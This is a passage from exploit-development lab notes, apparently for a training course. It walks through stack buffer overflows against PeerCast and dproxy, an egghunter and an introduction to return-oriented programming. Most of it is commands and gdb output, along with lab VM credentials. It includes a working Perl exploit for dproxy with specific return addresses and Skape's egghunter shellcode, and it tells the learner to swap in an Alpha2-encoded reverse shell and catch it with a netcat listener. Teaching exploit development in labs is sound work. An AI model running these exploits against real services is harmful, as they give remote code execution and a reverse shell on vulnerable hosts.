1280 | user: exploitlab | |
1281 | pass: exploitlab | |
1282 | ||
1283 | ||
1284 | ||
1285 | The attack scripts can be downloaded from here: | |
1286 | https://s3.amazonaws.com/secureninja/files/peercast_skel.zip | |
1287 | https://s3.amazonaws.com/secureninja/files/dproxy.zip | |
1288 | https://s3.amazonaws.com/secureninja/files/asterisk.zip | |
1289 | ||
1290 | ||
1291 | ###################################### | |
1292 | # Lab 1: Simple Linux Stack Overflow # | |
1293 | ###################################### | |
1294 | Login to the asterisk VM with the username/password of (exploitlab/exploitlab) | |
1295 | ||
1296 | ---------------------------Type This----------------------------------- | |
1297 | ||
1298 | cat victim1.c | |
1299 | gcc victim1.c -o victim1 | |
1300 | ./victim AAAAAAAAAAAAAAAAAAA | |
1301 | ./victim AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | |
1302 | ||
1303 | ||
1304 | ||
1305 | gdb -core core.xxxx | |
1306 | info registers | |
1307 | x/64x $esp | |
1308 | quit | |
1309 | ||
1310 | ||
1311 | /usr/local/sbin/peercast | |
1312 | ||
1313 | -open peercast1.py on the XP attack- | |
1314 | python peercast1.py | nc asterisk-vm-ip 7144 | |
1315 | ||
1316 | gdb -core core.xxxx | |
1317 | info registers | |
1318 | x/64x $esp | |
1319 | quit | |
1320 | ||
1321 | ||
1322 | ||
1323 | /usr/local/sbin/peercast | |
1324 | ||
1325 | -open peercast2.py- | |
1326 | python peercast2.py | nc asterisk-vm-ip 7144 | |
1327 | ||
1328 | gdb -core core.xxxx | |
1329 | info registers | |
1330 | x/64x $esp | |
1331 | quit | |
1332 | ||
1333 | ||
1334 | ||
1335 | ||
1336 | ||
1337 | - SSH into the Ubuntu Host (strategicsec:strategicsec) - | |
1338 | cd /home/strategicsec/toolz/metasploit/tools/exploit | |
1339 | ||
1340 | Now we will run the pattern offset with ruby: | |
1341 | ||
1342 | ruby pattern_offset.rb 42306142 | |
1343 | ||
1344 | and | |
1345 | ||
1346 | ruby pattern_offset.rb 61423161 | |
1347 | ----------------------------------------------------------------------- | |
1348 | ||
1349 | Distance to EIP is 780 | |
1350 | Relative position of ESP 784 | |
1351 | ||
1352 | Now to find a good JMP ESP address with msfelfscan | |
1353 | ||
1354 | ---------------------------Type This----------------------------------- | |
1355 | ||
1356 | cd /home/strategicsec/toolz/metasploit/ | |
1357 | ./msfelfscan -j ESP binaries/peercast_binary | |
1358 | ----------------------------------------------------------------------- | |
1359 | ||
1360 | 0x0808fb57 jmp esp <----- we will use this one! | |
1361 | 0x0808fcc7 jmp esp | |
1362 | 0x0808ffff jmp esp | |
1363 | 0x08090057 jmp esp <----- we can't use this one. | |
1364 | 0x080901df jmp esp | |
1365 | ||
1366 | ||
1367 | Now open and edit peercast3.py in notepad++ on our XP Host machine. | |
1368 | pad_lenth = the distance to EIP | |
1369 | ret_address = the jmp esp we are using | |
1370 | ||
1371 | ---------------------------Type This----------------------------------- | |
1372 | ||
1373 | python peercast3.py | nc asterisk-vm-ip 7144 | |
1374 | ||
1375 | gdb -core core.xxxx | |
1376 | info registers | |
1377 | x/64x $eip | |
1378 | x/10i $eip | |
1379 | quit | |
1380 | ----------------------------------------------------------------------- | |
1381 | ||
1382 | Open peercast4.py in Notepad++ and replace the \xCC with our msf shellcode | |
1383 | ||
1384 | Linux IA32 Reverse Shell | |
1385 | LHOST (Listening Host) – the IP of your XP host machine ipconfig /all | |
1386 | LPORT (Listening Port) – chose a port to run your listener on | |
1387 | Encoder: Alpha2 | |
1388 | ||
1389 | ---------------------------Type This----------------------------------- | |
1390 | ||
1391 | nc -l -p 4321 | |
1392 | python peercast4.py | nc asterisk-vm-ip 7144 | |
1393 | ----------------------------------------------------------------------- | |
1394 | ||
1395 | ################################################################## | |
1396 | # Lab 2: Dealing with a lack of space for your shellcode problem # | |
1397 | ################################################################## | |
1398 | ||
1399 | DPROXY EXPLOIT - DNS PROXY | |
1400 | -------------------------- | |
1401 | ||
1402 | SSH Login into your Asterisk VM as root | |
1403 | root / asterisk | |
1404 | ||
1405 | Start dproxy | |
1406 | /usr/local/sbin/dproxy | |
1407 | ||
1408 | ||
1409 | DNS running on UDP port 53 | |
1410 | we will use netcat's UDP mode (-u) for the transport. | |
1411 | ||
1412 | ---------------------------Type This----------------------------------- | |
1413 | ||
1414 | python dproxy1.py | nc -u asterisk-vm-ip 53 | |
1415 | ||
1416 | GDB COMMANDS | |
1417 | ||
1418 | gdb -core core.9999 -- load core files | |
1419 | info registers -- inspect registers | |
1420 | x/64x $reg -- examine memory at a particular register | |
1421 | x/64x $esp -- examine memory at ESP | |
1422 | q -- quit | |
1423 | x/10i $eip -- disassemble 10 instructions beginning at EIP | |
1424 | ||
1425 | python dproxy1.py | nc -u 192.168.128.140 53 | |
1426 | ||
1427 | gdb -core core.8888 | |
1428 | ||
1429 | (gdb) info registers | |
1430 | ----------------------------------------------------------------------- | |
1431 | ||
1432 | eax 0xbf9c8c40 0xbf9c8c40 | |
1433 | ecx 0x184f 0x184f | |
1434 | edx 0xbf9c7da8 0xbf9c7da8 | |
1435 | ebx 0x41414141 0x41414141 | |
1436 | esp 0xbf9c7c00 0xbf9c7c00 | |
1437 | ebp 0x41414141 0x41414141 | |
1438 | esi 0x41414141 0x41414141 | |
1439 | edi 0xbf9c8c40 0xbf9c8c40 | |
1440 | eip 0x41414141 0x41414141 | |
1441 | ||
1442 | ---------------------------Type This----------------------------------- | |
1443 | (gdb) x/64x $esp | |
1444 | ----------------------------------------------------------------------- | |
1445 | ||
1446 | 0xbf9c7c00: 0x41414141 0x41414141 0x41414141 0x41414141 | |
1447 | 0xbf9c7c10: 0x41414141 0x41414141 0x41414141 0x41414141 | |
1448 | 0xbf9c7c20: 0x41414141 0x41414141 0x41414141 0x2e414141 | |
1449 | 0xbf9c7c30: 0x41414141 0x41414141 0x41414141 0x41414141 | |
1450 | 0xbf9c7c40: 0x41414141 0x41414141 0x41414141 0x41414141 | |
1451 | 0xbf9c7c50: 0x41414141 0x41414141 0x41414141 0x41414141 | |
1452 | 0xbf9c7c60: 0x41414141 0x41414141 0x41414141 0x41414141 | |
1453 | 0xbf9c7c70: 0x41412e41 0x41414141 0x41414141 0x41414141 | |
1454 | 0xbf9c7c80: 0x41414141 0x41414141 0x41414141 0x41414141 | |
1455 | 0xbf9c7c90: 0x41414141 0x41414141 0x41414141 0x41414141 | |
1456 | 0xbf9c7ca0: 0x41414141 0x41414141 0x41414141 0x41414141 | |
1457 | 0xbf9c7cb0: 0x2e414141 0x41414141 0x41414141 0x41414141 | |
1458 | 0xbf9c7cc0: 0x41414141 0x41414141 0x41414141 0x41414141 | |
1459 | 0xbf9c7cd0: 0x41414141 0x41414141 0x41414141 0x41414141 | |
1460 | 0xbf9c7ce0: 0x41414141 0x41414141 0x41414141 0x41414141 | |
1461 | 0xbf9c7cf0: 0x41414141 0x41412e41 0x41414141 0x41414141 | |
1462 | ||
1463 | PATTERN | |
1464 | ||
1465 | ---------------------------Type This----------------------------------- | |
1466 | ||
1467 | python dproxy2.py | nc -u 192.168.128.140 53 | |
1468 | ||
1469 | (gdb) info registers | |
1470 | ----------------------------------------------------------------------- | |
1471 | ||
1472 | eax 0xbf9c8c40 0xbf9c8c40 | |
1473 | ecx 0x184f 0x184f | |
1474 | edx 0xbf9c7da8 0xbf9c7da8 | |
1475 | ebx 0x43377143 0x43377143 | |
1476 | esp 0xbf9c7c00 0xbf9c7c00 | |
1477 | ebp 0x30724339 0x30724339 | |
1478 | esi 0x71433871 0x71433871 | |
1479 | edi 0xbf9c8c40 0xbf9c8c40 | |
1480 | eip 0x432e7243 0x432e7243 <------ messed up EIP | |
1481 | ||
1482 | ---------------------------Type This----------------------------------- | |
1483 | ||
1484 | (gdb) x/64x $esp | |
1485 | ----------------------------------------------------------------------- | |
1486 | ||
1487 | 0xbf9c7c00: 0x72433272 0x34724333 0x43357243 0x72433672 | |
1488 | 0xbf9c7c10: 0x38724337 0x43397243 0x73433073 0x32734331 | |
1489 | 0xbf9c7c20: 0x43337343 0x73433473 0x36734335 0x43377343 | |
1490 | 0xbf9c7c30: 0x7343382e 0x30744339 0x43317443 0x74433274 | |
1491 | 0xbf9c7c40: 0x34744333 0x43357443 0x74433674 0x38744337 | |
1492 | 0xbf9c7c50: 0x43397443 0x75433075 0x32754331 0x43337543 | |
1493 | 0xbf9c7c60: 0x75433475 0x36754335 0x43377543 0x75433875 | |
1494 | 0xbf9c7c70: 0x30764339 0x43317643 0x76433276 0x34764333 | |
1495 | 0xbf9c7c80: 0x43357643 0x76433676 0x38764337 0x43397643 | |
1496 | 0xbf9c7c90: 0x77433077 0x32774331 0x43337743 0x77433477 | |
1497 | 0xbf9c7ca0: 0x36774335 0x4337772e 0x77433877 0x30784339 | |
1498 | 0xbf9c7cb0: 0x43317843 0x78433278 0x34784333 0x43357843 | |
1499 | 0xbf9c7cc0: 0x78433678 0x38784337 0x43397843 0x79433079 | |
1500 | 0xbf9c7cd0: 0x32794331 0x43337943 0x79433479 0x36794335 | |
1501 | 0xbf9c7ce0: 0x43377943 0x79433879 0x307a432e 0x43317a43 | |
1502 | 0xbf9c7cf0: 0x7a43327a 0x347a4333 0x43357a43 0x7a43367a | |
1503 | ||
1504 | Relative position of ESP | |
1505 | [ESP] = 0x72433272 - 2077 bytes | |
1506 | ||
1507 | We assume EIP is overwritten at 2073 bytes | |
1508 | ||
1509 | dproxy3.py | |
1510 | - confirm that we get EIP = 42424242 | |
1511 | - check the stack memory x/64x $esp | |
1512 | ||
1513 | ---------------------------Type This----------------------------------- | |
1514 | ||
1515 | (gdb) info registers | |
1516 | ----------------------------------------------------------------------- | |
1517 | ||
1518 | eax 0xbf9c8c40 0xbf9c8c40 | |
1519 | ecx 0x184f 0x184f | |
1520 | edx 0xbf9c7df5 0xbf9c7df5 | |
1521 | ebx 0x41414141 0x41414141 | |
1522 | esp 0xbf9c7c00 0xbf9c7c00 | |
1523 | ebp 0x41414141 0x41414141 | |
1524 | esi 0x41414141 0x41414141 | |
1525 | edi 0xbf9c8c40 0xbf9c8c40 | |
1526 | eip 0x42424242 0x42424242 | |
1527 | ||
1528 | ---------------------------Type This----------------------------------- | |
1529 | ||
1530 | (gdb) x/64x $esp | |
1531 | ----------------------------------------------------------------------- | |
1532 | ||
1533 | 0xbf9c7c00: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1534 | 0xbf9c7c10: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1535 | 0xbf9c7c20: 0xcccccccc 0xcccccccc 0xcccccccc 0x2ecccccc | |
1536 | 0xbf9c7c30: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e | |
1537 | 0xbf9c7c40: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e | |
1538 | 0xbf9c7c50: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e | |
1539 | 0xbf9c7c60: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e | |
1540 | 0xbf9c7c70: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e | |
1541 | 0xbf9c7c80: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e | |
1542 | ||
1543 | NEXT STEP - GET INT3 | |
1544 | ||
1545 | ---------------------------Type This----------------------------------- | |
1546 | ||
1547 | msfelfscan -j esp dproxy_binary | |
1548 | ----------------------------------------------------------------------- | |
1549 | ||
1550 | 0x0804a7ca push esp | |
1551 | ||
1552 | Core was generated by `/usr/local/sbin/dproxy'. | |
1553 | Program terminated with signal 5, Trace/breakpoint trap. | |
1554 | #0 0xbf9c7c01 in ?? () | |
1555 | ||
1556 | ---------------------------Type This----------------------------------- | |
1557 | ||
1558 | (gdb) info registers | |
1559 | ----------------------------------------------------------------------- | |
1560 | ||
1561 | eax 0xbf9c8c40 0xbf9c8c40 | |
1562 | ecx 0x184f 0x184f | |
1563 | edx 0xbf9c7df5 0xbf9c7df5 | |
1564 | ebx 0x41414141 0x41414141 | |
1565 | esp 0xbf9c7c00 0xbf9c7c00 | |
1566 | ebp 0x41414141 0x41414141 | |
1567 | esi 0x41414141 0x41414141 | |
1568 | edi 0xbf9c8c40 0xbf9c8c40 | |
1569 | eip 0xbf9c7c01 0xbf9c7c01 | |
1570 | ||
1571 | ---------------------------Type This----------------------------------- | |
1572 | ||
1573 | (gdb) x/64x $eip | |
1574 | ----------------------------------------------------------------------- | |
1575 | ||
1576 | 0xbf9c7c01: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1577 | 0xbf9c7c11: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1578 | 0xbf9c7c21: 0xcccccccc 0xcccccccc 0xcccccccc 0x2e2ecccc | |
1579 | 0xbf9c7c31: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e | |
1580 | 0xbf9c7c41: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e | |
1581 | 0xbf9c7c51: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e | |
1582 | 0xbf9c7c61: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e | |
1583 | 0xbf9c7c71: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e | |
1584 | 0xbf9c7c81: 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e 0x2e2e2e2e | |
1585 | ||
1586 | ||
1587 | USING THE EGGHUNTER - DPROXY5 | |
1588 | ||
1589 | ||
1590 | [AAAAAAAA.AAAAAA.AAAAAA....AAAA][ JMP ESP ][ EGGHUNTER NOP NOP NOP | <---truncated | |
1591 | | | | |
1592 | 2073 ESP (2077) | |
1593 | ||
1594 | ||
1595 | [AAAAAAAA.AAAAAA.AAAAAA....AAAA][ JMP ESP ][ EGGHUNTER NOP NOP NOP ... NOP NOP 50905090 50905090 SHELLCODE ] | |
1596 | ||
1597 | --------------------------------------old perl version of the code------------------------------------------------------ | |
1598 | # taken from Skape's paper | |
1599 | $linux_egghunter = | |
1600 | "\xBB\x90\x50\x90\x50". # mov ebx, 0x50905090 <-- this is the EGG | |
1601 | "\x31\xC9". # xor ecx,ecx | |
1602 | "\xF7\xE1". # mul ecx | |
1603 | "\x66\x81\xCA\xFF\x0F". # or dx,0xfff | |
1604 | "\x42". # inc edx | |
1605 | "\x60". # pusha | |
1606 | "\x8D\x5A\x04". # lea ebx,[edx+0x4] | |
1607 | "\xB0\x21". # mov al,0x21 | |
1608 | "\xCD\x80". # int 0x80 | |
1609 | "\x3C\xF2". # cmp al,0xf2 | |
1610 | "\x61". # popa | |
1611 | "\x74\xED". # jz 0x9 | |
1612 | "\x39\x1A". # cmp [edx],ebx | |
1613 | "\x75\xEE". # jnz 0xe | |
1614 | "\x39\x5A\x04". # cmp [edx+0x4],ebx | |
1615 | "\x75\xE9". # jnz 0xe | |
1616 | "\xFF\xE2"; # jmp edx | |
1617 | ||
1618 | # when you need to use it, use the following EGG: | |
1619 | $egg = "\x50\x90\x50\x90\x50\x90\x50\x90"; | |
1620 | ||
1621 | $shellcode = "\xCC" x 500; | |
1622 | ||
1623 | $nops = "\x90" x 100; # 100 NOPS to place between egghunter and shellcode | |
1624 | ||
1625 | $buf .= "A" x $distance_to_eip; | |
1626 | $buf .= pack("V", $eip); | |
1627 | $buf .= $linux_egghunter; | |
1628 | $buf .= $nops; | |
1629 | $buf .= $egg; | |
1630 | $buf .= $shellcode; | |
1631 | --------------------------------------old perl version of the code------------------------------------------------------ | |
1632 | ||
1633 | ||
1634 | Failed to read a valid object file image from memory. | |
1635 | Core was generated by `/usr/local/sbin/dproxy'. | |
1636 | Program terminated with signal 5, Trace/breakpoint trap. | |
1637 | #0 0xbf9c84d1 in ?? () | |
1638 | ||
1639 | ---------------------------Type This----------------------------------- | |
1640 | ||
1641 | (gdb) x/64x $eip | |
1642 | ----------------------------------------------------------------------- | |
1643 | ||
1644 | 0xbf9c84d1: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1645 | 0xbf9c84e1: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1646 | 0xbf9c84f1: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1647 | 0xbf9c8501: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1648 | 0xbf9c8511: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1649 | 0xbf9c8521: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1650 | 0xbf9c8531: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1651 | 0xbf9c8541: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1652 | 0xbf9c8551: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1653 | 0xbf9c8561: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1654 | 0xbf9c8571: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1655 | 0xbf9c8581: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1656 | 0xbf9c8591: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1657 | 0xbf9c85a1: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1658 | 0xbf9c85b1: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1659 | 0xbf9c85c1: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc | |
1660 | ||
1661 | REPLACE THE INT3 SHELLCODE WITH ALPHA2 ENCODED LINUX IA32 REVERSE SHELL | |
1662 | ||
1663 | EXPLOIT WHICH REACHES INT3 | |
1664 | --------------------------------------old perl version of the code------------------------------------------------------ | |
1665 | #!/usr/bin/perl | |
1666 | ||
1667 | binmode(STDOUT); | |
1668 | ||
1669 | $| = 1; # turn off output buffering | |
1670 | ||
1671 | $distance_to_eip = 2073; # replace this with distance to EIP | |
1672 | $eip = 0x0804a7ca; # push esp; ret - dproxy binary | |
1673 | ||
1674 | # taken from Skape's paper | |
1675 | $linux_egghunter = | |
1676 | "\xBB\x90\x50\x90\x50". # mov ebx, 0x50905090 <-- this is the EGG | |
1677 | "\x31\xC9". # xor ecx,ecx | |
1678 | "\xF7\xE1". # mul ecx | |
1679 | "\x66\x81\xCA\xFF\x0F". # or dx,0xfff | |
1680 | "\x42". # inc edx | |
1681 | "\x60". # pusha | |
1682 | "\x8D\x5A\x04". # lea ebx,[edx+0x4] | |
1683 | "\xB0\x21". # mov al,0x21 | |
1684 | "\xCD\x80". # int 0x80 | |
1685 | "\x3C\xF2". # cmp al,0xf2 | |
1686 | "\x61". # popa | |
1687 | "\x74\xED". # jz 0x9 | |
1688 | "\x39\x1A". # cmp [edx],ebx | |
1689 | "\x75\xEE". # jnz 0xe | |
1690 | "\x39\x5A\x04". # cmp [edx+0x4],ebx | |
1691 | "\x75\xE9". # jnz 0xe | |
1692 | "\xFF\xE2"; # jmp edx | |
1693 | ||
1694 | # when you need to use it, use the following EGG: | |
1695 | $egg = "\x50\x90\x50\x90\x50\x90\x50\x90"; | |
1696 | ||
1697 | $shellcode = "\xCC" x 500; | |
1698 | ||
1699 | $nops = "\x90" x 100; # 100 NOPS to place between egghunter and shellcode | |
1700 | ||
1701 | $buf .= "A" x $distance_to_eip; | |
1702 | $buf .= pack("V", $eip); | |
1703 | $buf .= $linux_egghunter; | |
1704 | $buf .= $nops; | |
1705 | $buf .= $egg; | |
1706 | $buf .= $shellcode; | |
1707 | ||
1708 | print $buf; | |
1709 | --------------------------------------old perl version of the code------------------------------------------------------ | |
1710 | ||
1711 | ||
1712 | ||
1713 | ############################################### | |
1714 | # Introduction to Return Oriented Programming # | |
1715 | ############################################### | |
1716 | ||
1717 | ---------------------------Type This----------------------------------- | |
1718 | ||
1719 | victim2.c | |
1720 | --------- | |
1721 | make victim2 | |
1722 | ./victim2 AAAAAAAAAAAAA | |
1723 | ||
1724 | gdb victim2 | |
1725 | disassemble main | |
1726 | ----------------------------------------------------------------------- | |
1727 | ||
1728 | 0x080483c7 <+31>: push 0x4 | |
1729 | 0x080483c9 <+33>: push 0x3 | |
1730 | 0x080483cb <+35>: call 0x8048426 <add> | |
1731 | ||
1732 | We want to set a breakpoint in main() just before add is called. | |
1733 | We want to inspect the calling frame for add(): | |
1734 | ||
1735 | break *0x080483cb | |
1736 | ||
1737 | run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | |
1738 | ||
1739 | We are in main() | |
1740 | - just before call add() | |
1741 | - we want to look at the stack | |
1742 | ||
1743 | In GDB, you can find out the stack trace by the following commands: | |
1744 | where | |
1745 | backtrace | |
1746 | bt | |
1747 | ---------------------------Type This----------------------------------- | |
1748 | ||
1749 | (gdb) x/i $eip | |
1750 | ----------------------------------------------------------------------- | |
1751 | ||
1752 | => 0x80483cb <main+35>: call 0x8048426 <add> | |
1753 | ||
1754 | ---------------------------Type This----------------------------------- | |
1755 | ||
1756 | (gdb) x/64x $esp | |
1757 | ----------------------------------------------------------------------- | |
1758 | ||
1759 | 0xbffffa60: 0x00000003 0x00000004 0xbffffa88 0x0804846b | |
1760 | ^^^^^^^^^^params^^^^^^^^^^ | |
1761 | ||
1762 | stepi <------ single step | |
1763 | where | |
1764 | ||
1765 | ---------------------------Type This----------------------------------- | |
1766 | ||
1767 | (gdb) where | |
1768 | ----------------------------------------------------------------------- | |
1769 | ||
1770 | #0 0x08048426 in add () | |
1771 | #1 0x080483d0 in main () | |
1772 | ||
1773 | ---------------------------Type This----------------------------------- | |
1774 | ||
1775 | (gdb) x/64x $esp | |
1776 | ----------------------------------------------------------------------- | |
1777 | ||
1778 | 0xbffffa5c: 0x080483d0 0x00000003 0x00000004 0xbffffa88 | |
1779 | ^^^^^^^^^^ ^^^^^^^^^^ ^^^^^^^^^^ | |
1780 | saved return param param | |
1781 | address (from | |
1782 | add) | |
1783 | ||
1784 | THIS IS THE CALLING FRAME FOR add(3, 4) | |
1785 | ||
1786 | ---------------------------Type This----------------------------------- | |
1787 | ||
1788 | export EGG=`./frame1.py` | |
1789 | gdb victim2 | |
1790 | (gdb) run $EGG | |
1791 | ----------------------------------------------------------------------- | |
1792 | ||
1793 | 0x80484a5 <__libc_csu_init+85>: pop ebx | |
1794 | 0x80484a6 <__libc_csu_init+86>: pop esi | |
1795 | 0x80484a7 <__libc_csu_init+87>: pop edi <------ POP/POP/RET | |
1796 | 0x80484a8 <__libc_csu_init+88>: pop ebp | |
1797 | 0x80484a9 <__libc_csu_init+89>: ret | |
1798 | ||
1799 | ---------------------------Type This----------------------------------- | |
1800 | ||
1801 | export EGG=`./frame2.py` | |
1802 | gdb victim2 | |
1803 | run $EGG | |
1804 | ----------------------------------------------------------------------- | |
1805 | ||
1806 | ||
1807 | x/100i 0x080483a8 |